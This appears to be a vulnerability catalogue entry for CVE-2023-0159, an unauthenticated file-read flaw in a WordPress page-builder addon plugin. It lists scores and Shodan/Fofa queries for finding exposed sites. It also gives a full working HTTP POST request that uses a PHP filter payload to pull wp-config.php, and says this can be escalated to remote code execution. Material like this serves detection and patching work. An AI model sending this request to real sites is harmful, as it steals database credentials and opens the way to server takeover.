| Title | Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE |
|---|---|
| Author | c4sper0 |
| Severity | High |
| Impact | Unauthenticated attackers can exploit parameter validation flaws in the template loading mechanism to read arbitrary files including wp-config.php and escalate to remote code execution using PHP filter chains. |
| Remediation | Fixed in 1.9.1 |
| CVSS Score | 7.5 |
| EPSS Score | 0.91507 |
| CVE ID | CVE-2023-0159 |
| Shodan Query | http.html:/wp-content/plugins/extensive-vc-addon/ |
| Fofa Query | body=/wp-content/plugins/extensive-vc-addon/ |
| Tags | cve cve2023 wordpress wpbakery wp-plugin lfi extensive-vc-addon wprealize vkev vuln |
The plugin does not validate a parameter passed to the php extract function when loading templates, allowing an unauthenticated attacker to override the template path to read arbitrary files from the hosts file system. This may be escalated to RCE using PHP filter chains.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=extensive_vc_init_shortcode_pagination&options[template]=php://filter/convert.base64-encode/resource=../wp-config.php
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0159.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-0159.pcap
N/AN/A